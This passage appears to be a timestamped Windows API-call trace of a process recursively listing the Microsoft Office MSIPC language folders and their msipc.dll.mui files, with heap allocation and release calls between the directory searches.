cAlternateFileName="")) returned 1 [0230.205] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x69259a9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x69259a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 1 [0230.205] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x69259a9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x69259a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 0 [0230.205] FindClose (in: hFindFile=0x33e4c68 | out: hFindFile=0x33e4c68) returned 1 [0230.206] GetProcessHeap () returned 0xc10000 [0230.206] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0230.206] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt", cAlternateFileName="")) returned 1 [0230.206] GetProcessHeap () returned 0xc10000 [0230.206] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0230.206] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pt\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0230.207] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.208] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5698, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 1 [0230.208] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5698, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 0 [0230.208] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0230.208] GetProcessHeap () returned 0xc10000 [0230.208] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0230.208] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0230.209] GetProcessHeap () returned 0xc10000 [0230.209] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0230.209] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pt-BR\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0230.210] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.210] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5498, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 1 [0230.210] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5498, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 0 [0230.210] FindClose (in: hFindFile=0x33e4d68 | out: hFindFile=0x33e4d68) returned 1 [0230.210] GetProcessHeap () returned 0xc10000 [0230.210] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0230.210] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0230.211] GetProcessHeap () returned 0xc10000 [0230.211] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0230.211] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ro\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0230.212] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.212] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x54ef2e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5698, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 1 [0230.212] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x54ef2e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5698, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 0 [0230.212] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0230.212] GetProcessHeap () returned 0xc10000 [0230.212] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0230.212] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86a6c5d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0230.213] GetProcessHeap () returned 0xc10000 [0230.213] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0230.213] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ru\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86a6c5d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0230.217] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86a6c5d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.217] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a6c5d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 1 [0230.217] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a6c5d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 0 [0230.217] FindClose (in: hFindFile=0x33e4d68 | out: hFindFile=0x33e4d68) returned 1 [0230.217] GetProcessHeap () returned 0xc10000 [0230.217] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0230.217] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0230.217] GetProcessHeap () returned 0xc10000 [0230.217] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0230.218] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sk\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0230.219] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.219] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5498, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 1 [0230.219] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5498, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 0 [0230.219] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0230.219] GetProcessHeap () returned 0xc10000 [0230.219] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0230.220] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0230.220] GetProcessHeap () returned 0xc10000 [0230.220] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0230.220] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sl\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0230.220] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.221] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5098, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 1 [0230.221] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5098, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 0 [0230.221] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0230.221] GetProcessHeap () returned 0xc10000 [0230.221] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0230.221] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1565dae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1565dae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Cyrl-BA", cAlternateFileName="SR-CYR~1")) returned 1 [0230.221] GetProcessHeap () returned 0xc10000 [0230.221] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0230.221] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-BA\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1565dae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1565dae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0230.222] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1565dae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1565dae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.222] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1565dae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf158c060, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5298, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 1 [0230.222] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1565dae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf158c060, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5298, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 0 [0230.222] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0230.222] GetProcessHeap () returned 0xc10000 [0230.222] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0230.222] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44563cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Cyrl-CS", cAlternateFileName="SR-CYR~2")) returned 1 [0230.222] GetProcessHeap () returned 0xc10000 [0230.222] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0230.222] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-CS\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44563cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0230.223] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44563cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 